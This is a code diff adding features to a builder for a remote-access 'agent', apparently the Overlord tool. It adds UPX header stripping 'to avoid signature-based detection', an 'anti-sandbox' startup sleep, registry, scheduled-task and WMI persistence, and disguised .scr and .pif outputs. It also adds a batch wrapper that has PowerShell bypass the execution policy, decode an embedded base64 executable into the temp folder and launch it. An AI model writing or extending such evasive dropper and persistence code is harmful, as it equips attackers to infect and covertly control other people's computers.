<span class="text-[10px] uppercase tracking-wider px-1.5 py-0.5 rounded bg-blue-900/60 text-blue-300 border border-blue-700/50 font-semibold"><i class="fa-brands fa-windows mr-0.5"></i>Windows</span></span
>
<span class="text-xs text-slate-500"
>Builds Windows EXEs as GUI apps (no console)</span
>
</div>
</label>
<label
class="flex items-center gap-2 p-3 bg-slate-800/60 border border-slate-700 rounded-lg cursor-pointer hover:border-rose-500 transition-colors"
title="Disable all client-side printing/logging output"
>
<input
type="checkbox"
name="no-printing"
class="w-4 h-4"
/>
<div class="flex flex-col">
<span class="flex items-center gap-2"
><i class="fa-solid fa-volume-xmark text-rose-400"></i>
Disable Client Printing</span
>
<span class="text-xs text-slate-500"
>Silence all stdout/stderr and log output</span
>
</div>
</label>
<label
class="flex items-center gap-2 p-3 bg-slate-800/60 border border-slate-700 rounded-lg cursor-pointer hover:border-cyan-500 transition-colors"
title="Compress binaries with UPX to reduce file size"
>
<input
type="checkbox"
name="enable-upx"
class="w-4 h-4"
/>
<div class="flex flex-col">
<span class="flex items-center gap-2"
><i class="fa-solid fa-compress text-cyan-400"></i>
UPX Compression</span
>
<span class="text-xs text-slate-500"
>Compress binaries with UPX (requires UPX installed on server)</span
>
</div>
</label>
<div
id="upx-settings-container"
class="hidden pl-3 border-l-2 border-cyan-500/40"
>
<label class="flex items-center gap-2 p-3 bg-slate-800/60 border border-slate-700 rounded-lg cursor-pointer">
<input type="checkbox" name="upx-strip-headers" class="w-4 h-4" />
<div class="flex flex-col">
<span>Strip UPX Headers</span>
<span class="text-xs text-slate-500">Remove UPX magic bytes to avoid signature-based detection</span>
</div>
</label>
</div>
</div>
</div>
<!-- Garble Settings (shown when obfuscate is checked) -->
<div id="garble-settings-container" class="hidden">
<label class="block text-sm font-medium text-slate-300 mb-2">
<i class="fa-solid fa-mask text-purple-400"></i> Garble Settings
<!-- == Section 3: Build Options (open) == -->
<div class="accordion-section border border-slate-800 rounded-lg overflow-hidden" data-open="true">
<button type="button" class="accordion-header w-full flex items-center justify-between px-4 py-3 bg-slate-800/50 hover:bg-slate-800/80 transition-colors text-left">
<span class="flex items-center gap-2 text-sm font-medium text-slate-200">
<i class="fa-solid fa-sliders text-slate-400"></i> Build Options
</span>
<i class="fa-solid fa-chevron-down accordion-chevron text-slate-400 text-xs"></i>
</button>
<div class="accordion-body">
<div class="accordion-inner px-4 pb-4 pt-3 flex flex-col gap-2">
<label class="flex items-center gap-2 p-3 bg-slate-800/60 border border-slate-700 rounded-lg cursor-pointer hover:border-emerald-400 transition-colors">
<input type="checkbox" name="strip-debug" class="w-4 h-4" checked />
<span class="flex items-center gap-2">
<i class="fa-solid fa-bug-slash text-emerald-400"></i> Strip debug symbols (-s -w)
</span>
</label>
<div class="flex flex-col gap-2 pl-3 border-l-2 border-purple-500/40">
<label class="flex items-center gap-2 p-3 bg-slate-800/60 border border-slate-700 rounded-lg cursor-pointer hover:border-emerald-400 transition-colors">
<input type="checkbox" name="disable-cgo" class="w-4 h-4" />
<span class="flex items-center gap-2">
<i class="fa-solid fa-ban text-emerald-400"></i> Disable CGO
</span>
</label>
<label class="flex items-center gap-2 p-3 bg-slate-800/60 border border-slate-700 rounded-lg cursor-pointer hover:border-rose-500 transition-colors">
<input type="checkbox" name="no-printing" class="w-4 h-4" />
<div class="flex flex-col">
<span class="flex items-center gap-2">
<i class="fa-solid fa-volume-xmark text-rose-400"></i> Disable Client Printing
</span>
<span class="text-xs text-slate-500">Silence all stdout/stderr and log output</span>
</div>
</label>
<label class="flex items-center gap-2 p-3 bg-slate-800/60 border border-slate-700 rounded-lg cursor-pointer hover:border-purple-500 transition-colors">
<input type="checkbox" name="obfuscate" class="w-4 h-4" />
<div class="flex flex-col">
<span class="flex items-center gap-2">
<i class="fa-solid fa-mask text-purple-400"></i> Obfuscate (garble)
</span>
<span class="text-xs text-slate-500">Build with garble for code obfuscation</span>
</div>
</label>
<div id="garble-settings-container" class="hidden pl-3 border-l-2 border-purple-500/40 flex flex-col gap-2">
<label class="flex items-center gap-2 p-3 bg-slate-800/60 border border-slate-700 rounded-lg cursor-pointer">
<input type="checkbox" name="garble-literals" class="w-4 h-4" />
<div class="flex flex-col">
@@ -479,7 +241,7 @@
<input type="checkbox" name="garble-tiny" class="w-4 h-4" />
<div class="flex flex-col">
<span>Tiny Mode (-tiny)</span>
<span class="text-xs text-slate-500">Remove extra info like filenames and line numbers from panics</span>
<span class="text-xs text-slate-500">Remove filenames and line numbers from panics</span>
</div>
</label>
<div>
@@ -489,13 +251,141 @@
<p class="text-xs text-slate-500 mt-1">Alphanumeric seed for reproducible builds</p>
</div>
</div>
<label class="flex items-center gap-2 p-3 bg-slate-800/60 border border-slate-700 rounded-lg cursor-pointer hover:border-cyan-500 transition-colors">
<input type="checkbox" name="enable-upx" class="w-4 h-4" />
<div class="flex flex-col">
<span class="flex items-center gap-2">
<i class="fa-solid fa-compress text-cyan-400"></i> UPX Compression
</span>
<span class="text-xs text-slate-500">Compress binaries with UPX (requires UPX on server)</span>
</div>
</label>
<div id="upx-settings-container" class="hidden pl-3 border-l-2 border-cyan-500/40">
<label class="flex items-center gap-2 p-3 bg-slate-800/60 border border-slate-700 rounded-lg cursor-pointer">
<input type="checkbox" name="upx-strip-headers" class="w-4 h-4" />
<div class="flex flex-col">
<span>Strip UPX Headers</span>
<span class="text-xs text-slate-500">Remove UPX magic bytes to avoid signature-based detection</span>
</div>
</label>
</div>
<!-- Windows Assembly / PE Metadata -->
<div class="flex flex-col gap-1">
<label class="block text-xs font-medium text-slate-400 mb-1" for="sleep-seconds">
<i class="fa-solid fa-hourglass-half text-yellow-400"></i> Startup Sleep (seconds)
</label>
<input type="number" id="sleep-seconds" name="sleep-seconds" value="0"
min="0" max="3600" step="1"
class="w-full px-3 py-2 bg-slate-800/80 border border-slate-700 rounded-lg text-sm focus:outline-none focus:border-yellow-500 transition-colors" />
<p class="text-xs text-slate-500">Sleep N seconds before connecting (anti-sandbox). Set to 0 to disable.</p>
</div>
</div>
</div>
</div>
<!-- == Section 4: Persistence (collapsed) == -->
<div class="accordion-section border border-slate-800 rounded-lg overflow-hidden" data-open="false">
<button type="button" class="accordion-header w-full flex items-center justify-between px-4 py-3 bg-slate-800/50 hover:bg-slate-800/80 transition-colors text-left">
<span class="flex items-center gap-2 text-sm font-medium text-slate-200">
<i class="fa-solid fa-power-off text-orange-400"></i>
Persistence
<span class="text-xs text-slate-500 font-normal">Auto-start on boot</span>
</span>
<i class="fa-solid fa-chevron-down accordion-chevron text-slate-400 text-xs"></i>
</button>
<div class="accordion-body">
<div class="accordion-inner px-4 pb-4 pt-3 flex flex-col gap-2">
<label class="flex items-center gap-2 p-3 bg-slate-800/60 border border-slate-700 rounded-lg cursor-pointer hover:border-orange-500 transition-colors">
<input type="checkbox" name="enable-persistence" class="w-4 h-4" />
<div class="flex flex-col">
<span class="flex items-center gap-2">
<i class="fa-solid fa-power-off text-orange-400"></i> Enable Persistence
</span>
<span class="text-xs text-slate-500">Agent will start automatically with system boot</span>
</div>
</label>
<div id="persistence-method-container" class="hidden pl-3 border-l-2 border-orange-500/40 flex flex-col gap-3">
<div id="persistence-empty-state" class="hidden text-xs text-slate-500 pt-1">
No supported persistence targets selected. Select Windows, Linux, or macOS targets to configure persistence.
</div>
<div id="persistence-windows-settings" class="hidden" data-persistence-os="windows">
<div class="text-xs font-semibold text-slate-300 mb-2 flex items-center gap-2">
<i class="fa-brands fa-windows text-blue-400"></i> Windows Persistence Method
</div>
<select id="persistence-method" name="persistence-method"
class="w-full px-3 py-2 bg-slate-800/80 border border-slate-700 rounded-lg text-sm focus:outline-none focus:border-orange-500 transition-colors">
<option value="startup">Startup Folder (APPDATA)</option>
<option value="registry">Registry (HKCU Run key)</option>
<option value="taskscheduler">Task Scheduler (ONLOGON, requires admin)</option>
<option value="wmi">WMI Subscription (requires admin)</option>
</select>
</div>
<div id="persistence-linux-settings" class="hidden" data-persistence-os="linux">
<div class="text-xs font-semibold text-slate-300 mb-1 flex items-center gap-2">
<i class="fa-brands fa-linux text-amber-400"></i> Linux Persistence
</div>
<p class="text-xs text-slate-500">
Uses user-level <code>systemd</code> service when available; falls back to desktop autostart.
</p>
</div>
<div id="persistence-macos-settings" class="hidden" data-persistence-os="darwin">
<div class="text-xs font-semibold text-slate-300 mb-1 flex items-center gap-2">
<i class="fa-brands fa-apple text-slate-200"></i> macOS Persistence
</div>
<p class="text-xs text-slate-500">
Uses <code>LaunchAgents</code> (<code>com.overlord.agent.plist</code>) for login persistence.
</p>
</div>
</div>
</div>
</div>
</div>
<!-- == Section 5: Windows Settings (hidden until a windows-* platform is checked) == -->
<div id="windows-settings-section" class="accordion-section border border-slate-800 rounded-lg overflow-hidden hidden" data-open="false">
<button type="button" class="accordion-header w-full flex items-center justify-between px-4 py-3 bg-slate-800/50 hover:bg-slate-800/80 transition-colors text-left">
<span class="flex items-center gap-2 text-sm font-medium text-slate-200">
<i class="fa-brands fa-windows text-blue-400"></i>
Windows Settings
<span class="text-[10px] uppercase tracking-wider px-1.5 py-0.5 rounded bg-blue-900/60 text-blue-300 border border-blue-700/50 font-semibold">Windows only</span>
</span>
<i class="fa-solid fa-chevron-down accordion-chevron text-slate-400 text-xs"></i>
</button>
<div class="accordion-body">
<div class="accordion-inner px-4 pb-4 pt-3 flex flex-col gap-4">
<label class="flex items-center gap-2 p-3 bg-slate-800/60 border border-slate-700 rounded-lg cursor-pointer hover:border-emerald-500 transition-colors">
<input type="checkbox" name="hide-console" class="w-4 h-4" />
<div class="flex flex-col">
<span class="flex items-center gap-2">
<i class="fa-solid fa-window-minimize text-emerald-400"></i> Hide Console Window
</span>
<span class="text-xs text-slate-500">Builds Windows EXEs as GUI apps (no console window)</span>
</div>
</label>
<label class="flex items-center gap-2 p-3 bg-slate-800/60 border border-slate-700 rounded-lg cursor-pointer hover:border-orange-500 transition-colors">
<input type="checkbox" name="require-admin" class="w-4 h-4" />
<div class="flex flex-col">
<span class="flex items-center gap-2">
<i class="fa-solid fa-shield-halved text-orange-400"></i> Require Administrator (UAC)
</span>
<span class="text-xs text-slate-500">Embeds a manifest requesting UAC elevation on launch</span>
</div>
</label>
<div>
<label class="block text-sm font-medium text-slate-300 mb-2 flex items-center gap-2 flex-wrap">
<i class="fa-brands fa-windows text-blue-400"></i> Windows Assembly Data
<span class="text-[10px] uppercase tracking-wider px-1.5 py-0.5 rounded bg-blue-900/60 text-blue-300 border border-blue-700/50 font-semibold"><i class="fa-brands fa-windows mr-0.5"></i>Windows only</span>
<label class="block text-sm font-medium text-slate-300 mb-2 flex items-center gap-2">
<i class="fa-solid fa-file-code text-blue-400"></i> PE / Assembly Metadata
</label>
<div class="flex flex-col gap-2">
<input type="text" id="assembly-title" name="assembly-title" placeholder="File Description"
@@ -511,11 +401,9 @@
</div>
</div>
<!-- Icon Upload -->
<div>
<label class="block text-sm font-medium text-slate-300 mb-2 flex items-center gap-2 flex-wrap">
<label class="block text-sm font-medium text-slate-300 mb-2 flex items-center gap-2">
<i class="fa-solid fa-image text-yellow-400"></i> Custom Icon
<span class="text-[10px] uppercase tracking-wider px-1.5 py-0.5 rounded bg-blue-900/60 text-blue-300 border border-blue-700/50 font-semibold"><i class="fa-brands fa-windows mr-0.5"></i>Windows only</span>
<span class="text-xs text-slate-500 font-normal">.ico, max 1MB</span>
</label>
<div class="flex items-center gap-3">
@@ -528,12 +416,29 @@
</div>
</div>
<div>
<label class="block text-sm font-medium text-slate-300 mb-2 flex items-center gap-2">
<i class="fa-solid fa-file-export text-purple-400"></i> Output Type
<span class="text-xs text-slate-500 font-normal">Windows file extension</span>
</label>
<select id="output-extension" name="output-extension"
class="w-full px-3 py-2 bg-slate-800/60 border border-slate-700 rounded-lg text-sm focus:outline-none focus:border-blue-500 transition-colors">
<option value=".exe">.exe — Standard Executable</option>
<option value=".scr">.scr — Screen Saver</option>
<option value=".bat">.bat — Batch Script</option>
<option value=".cmd">.cmd — Command Script</option>
<option value=".pif">.pif — Program Info File</option>
<option value=".com">.com — MS-DOS Application</option>
</select>
</div>
</div>
</div>
</div>
<!-- Build Button -->
<button
type="submit"
id="build-btn"
class="flex items-center justify-center gap-2 px-4 py-3 rounded-lg bg-blue-600 hover:bg-blue-700 text-white font-medium transition-colors disabled:opacity-50 disabled:cursor-not-allowed"
>
<button type="submit" id="build-btn"
class="flex items-center justify-center gap-2 px-4 py-3 rounded-lg bg-blue-600 hover:bg-blue-700 text-white font-medium transition-colors disabled:opacity-50 disabled:cursor-not-allowed">
<i class="fa-solid fa-hammer"></i>
<span>Start Build</span>
</button>
@@ -547,24 +452,19 @@
</h2>
<div id="build-status" class="mb-4 hidden">
<div
class="flex items-center gap-2 p-3 rounded-lg bg-blue-900/40 border border-blue-700/60"
>
<div class="flex items-center gap-2 p-3 rounded-lg bg-blue-900/40 border border-blue-700/60">
<i class="fa-solid fa-spinner fa-spin"></i>
<span id="build-status-text">Building...</span>
</div>
</div>
<div
id="build-output-container"
class="bg-slate-950 border border-slate-700 rounded-lg p-4 h-96 overflow-y-auto font-mono text-sm"
>
<div id="build-output-container"
class="bg-slate-950 border border-slate-700 rounded-lg p-4 h-96 overflow-y-auto font-mono text-sm">
<div id="build-output" class="text-slate-400">
Ready to build. Select platforms and click "Start Build".
</div>
</div>
<!-- Build Results -->
<div id="build-results" class="mt-4 hidden">
<h3 class="font-medium mb-2 flex items-center gap-2">
<i class="fa-solid fa-download"></i> Built Clients
+3
View File
@@ -34,4 +34,7 @@ export type BuildConfig = {
iconBase64?: string;
enableUpx?: boolean;
upxStripHeaders?: boolean;
requireAdmin?: boolean;
outputExtension?: string;
sleepSeconds?: number;
};
+93 -5
View File
@@ -78,6 +78,9 @@ type BuildProcessConfig = {
iconBase64?: string;
enableUpx?: boolean;
upxStripHeaders?: boolean;
requireAdmin?: boolean;
outputExtension?: string;
sleepSeconds?: number;
};
async function checkUpxAvailable(sendToStream: (data: any) => void): Promise<boolean> {
@@ -297,7 +300,7 @@ export async function startBuildProcess(
upxBin = "upx";
}
const hasAssemblyData = !!(config.assemblyTitle || config.assemblyProduct || config.assemblyCompany || config.assemblyVersion || config.assemblyCopyright || config.iconBase64);
const hasAssemblyData = !!(config.assemblyTitle || config.assemblyProduct || config.assemblyCompany || config.assemblyVersion || config.assemblyCopyright || config.iconBase64 || config.requireAdmin);
const hasWindowsTargets = platformsToBuild.some((p) => p.startsWith("windows-"));
if (hasAssemblyData && hasWindowsTargets) {
@@ -364,6 +367,7 @@ export async function startBuildProcess(
}
const versionStr = config.assemblyVersion || "0.0.0.0";
const winExt = config.outputExtension || ".exe";
const versionInfo: any = {
"0409": {
"FileDescription": config.assemblyTitle || "",
@@ -372,7 +376,7 @@ export async function startBuildProcess(
"FileVersion": versionStr,
"ProductVersion": versionStr,
"LegalCopyright": config.assemblyCopyright || "",
"OriginalFilename": config.outputName ? (config.outputName + ".exe") : "",
"OriginalFilename": config.outputName ? (config.outputName + winExt) : "",
},
};
@@ -389,6 +393,31 @@ export async function startBuildProcess(
};
const winresJsonPath = path.join(winresTempDir, "winres.json");
if (config.requireAdmin) {
winresConfig["RT_MANIFEST"] = {
"#1": {
"0000": {
"identity": {},
"description": "",
"minimum-os": "vista",
"execution-level": "requireAdministrator",
"ui-access": false,
"auto-elevate": false,
"dpi-awareness": "system",
"disable-theming": false,
"disable-window-filtering": false,
"high-resolution-scrolling-aware": false,
"ultra-high-resolution-scrolling-aware": false,
"long-path-aware": false,
"printer-driver-isolation": false,
"gdi-scaling": false,
"segment-heap": false,
"use-common-controls-v6": false,
},
},
};
sendToStream({ type: "output", text: "UAC manifest: requireAdministrator\n", level: "info" });
}
fs.writeFileSync(winresJsonPath, JSON.stringify(winresConfig, null, 2));
sendToStream({ type: "output", text: `Winres config: ${winresJsonPath}\n`, level: "info" });
@@ -426,8 +455,9 @@ export async function startBuildProcess(
const actualArch = goarm ? "arm" : arch;
const targetKey = `${os}/${actualArch}${goarm ? `/v${goarm}` : ""}`;
const namePrefix = config.outputName || "agent";
const winExt = config.outputExtension || ".exe";
const outputName = deps.sanitizeOutputName(
platform.includes("windows") ? `${namePrefix}-${platform}.exe` : `${namePrefix}-${platform}`,
platform.includes("windows") ? `${namePrefix}-${platform}${winExt}` : `${namePrefix}-${platform}`,
);
sendToStream({ type: "status", text: `Building ${platform}...` });
@@ -539,6 +569,12 @@ export async function startBuildProcess(
ldflags = ldflags ? `${ldflags} ${buildTagFlag}` : buildTagFlag;
}
if (config.sleepSeconds && config.sleepSeconds > 0) {
const sleepFlag = `-X overlord-client/cmd/agent/config.DefaultSleepSeconds=${config.sleepSeconds}`;
ldflags = ldflags ? `${ldflags} ${sleepFlag}` : sleepFlag;
sendToStream({ type: "output", text: `Startup sleep: ${config.sleepSeconds}s\n`, level: "info" });
}
if (config.hideConsole && os === "windows") {
const hideConsoleFlag = "-H=windowsgui";
ldflags = ldflags ? `${ldflags} ${hideConsoleFlag}` : hideConsoleFlag;
@@ -564,7 +600,16 @@ export async function startBuildProcess(
try {
const buildTool = config.obfuscate ? "garble" : "go";
const tagArg = config.noPrinting ? "-tags noprint " : "";
const buildTags: string[] = [];
if (config.noPrinting) buildTags.push("noprint");
if (config.enablePersistence && os === "windows") {
const method = config.persistenceMethod || "startup";
if (method === "registry") buildTags.push("persist_registry");
else if (method === "taskscheduler") buildTags.push("persist_taskscheduler");
else if (method === "wmi") buildTags.push("persist_wmi");
// startup method uses the default no-op persistInstallFn — no tag needed
}
const tagArg = buildTags.length > 0 ? `-tags "${buildTags.join(" ")}" ` : "";
logger.info(`[build:${buildId.substring(0, 8)}] Building: ${buildTool} build ${tagArg}${ldflags ? `-ldflags="${ldflags}" ` : ""}-o ${outDir}/${outputName} ./cmd/agent`);
logger.info(`[build:${buildId.substring(0, 8)}] Environment: GOOS=${os} GOARCH=${actualArch} CGO_ENABLED=${env.CGO_ENABLED} CC=${env.CC || "<default>"}`);
@@ -576,7 +621,7 @@ export async function startBuildProcess(
}
const buildArgs: string[] = [];
if (config.noPrinting) buildArgs.push("-tags", "noprint");
if (buildTags.length > 0) buildArgs.push("-tags", buildTags.join(" "));
if (ldflags) buildArgs.push(`-ldflags=${ldflags}`);
buildArgs.push("-o", `${outDir}/${outputName}`, "./cmd/agent");
@@ -613,6 +658,9 @@ export async function startBuildProcess(
const filePath = `${outDir}/${outputName}`;
let finalSize = Bun.file(filePath).size;
// For .bat/.cmd: go build writes a PE binary; UPX must run first (it needs PE format),
// then after compression we wrap it in a batch script with an embedded base64 payload.
const isBatWrapper = os === "windows" && (winExt === ".bat" || winExt === ".cmd");
if (upxBin) {
sendToStream({ type: "output", text: `Compressing ${outputName} with UPX...\n`, level: "info" });
@@ -642,6 +690,46 @@ export async function startBuildProcess(
}
}
if (isBatWrapper) {
sendToStream({ type: "output", text: `Wrapping PE binary as ${winExt} script...\n`, level: "info" });
try {
const exeBytes = fs.readFileSync(filePath);
const b64 = exeBytes.toString("base64");
// Split into 76-char lines so the bat file stays manageable
const b64Lines = b64.match(/.{1,76}/g) || [b64];
// Random marker generated at build time using the same uuid util already imported
const marker = `:OVD_${uuidv4().replace(/-/g, "").substring(0, 16).toUpperCase()}`;
// PowerShell payload: reads this script via %_OVD_SELF%, strips the marker+data,
// decodes base64 to a temp .exe, launches it, then exits.
const psCmd = [
`$f=$env:_OVD_SELF;`,
`$l=[IO.File]::ReadAllLines($f);`,
`$i=0;`,
`for($j=0;$j-lt$l.Count;$j++){if($l[$j] -ceq '${marker}'){$i=$j+1;break}};`,
`$b=[Convert]::FromBase64String(($l[$i..($l.Count-1)]-join''));`,
`$t=[IO.Path]::Combine([IO.Path]::GetTempPath(),[Guid]::NewGuid().ToString()+'.exe');`,
`[IO.File]::WriteAllBytes($t,$b);`,
`Start-Process $t;`,
`exit`,
].join("");
const wrapper = [
`@echo off`,
`setlocal`,
`set "_OVD_SELF=%~f0"`,
`powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "${psCmd}"`,
`endlocal`,
`exit /b 0`,
marker,
...b64Lines,
].join("\r\n") + "\r\n";
fs.writeFileSync(filePath, wrapper, "utf8");
finalSize = fs.statSync(filePath).size;
sendToStream({ type: "output", text: `Wrapped: ${exeBytes.length} byte PE → ${finalSize} byte ${winExt} script\n`, level: "info" });
} catch (wrapErr: any) {
sendToStream({ type: "output", text: `WARNING: Failed to generate bat wrapper: ${wrapErr.message || wrapErr}. Output is a raw PE binary with ${winExt} extension.\n`, level: "warn" });
}
}
(build.files as any[]).push({
name: outputName,
filename: outputName,
@@ -64,6 +64,9 @@ export async function handleBuildRoutes(
iconBase64,
enableUpx,
upxStripHeaders,
requireAdmin,
outputExtension,
sleepSeconds,
} = body;
if (!platforms || !Array.isArray(platforms) || platforms.length === 0) {
@@ -145,6 +148,14 @@ export async function handleBuildRoutes(
const safeIconBase64 = typeof iconBase64 === "string" && iconBase64.length > 0 && iconBase64.length <= 2 * 1024 * 1024
? iconBase64
: undefined;
const safeRequireAdmin = !!requireAdmin;
const VALID_OUTPUT_EXTENSIONS = new Set([".exe", ".scr", ".bat", ".cmd", ".pif", ".com"]);
const safeOutputExtension =
typeof outputExtension === "string" && VALID_OUTPUT_EXTENSIONS.has(outputExtension.toLowerCase())
? outputExtension.toLowerCase() : ".exe";
const safeSleepSeconds =
typeof sleepSeconds === "number" && Number.isInteger(sleepSeconds) && sleepSeconds >= 0 && sleepSeconds <= 3600
? sleepSeconds : 0;
deps.startBuildProcess(buildId, {
platforms: allowedPlatforms,
@@ -172,6 +183,9 @@ export async function handleBuildRoutes(
iconBase64: safeIconBase64,
enableUpx: !!enableUpx,
upxStripHeaders: !!upxStripHeaders,
requireAdmin: safeRequireAdmin,
outputExtension: safeOutputExtension,
sleepSeconds: safeSleepSeconds,
});
return Response.json({ buildId });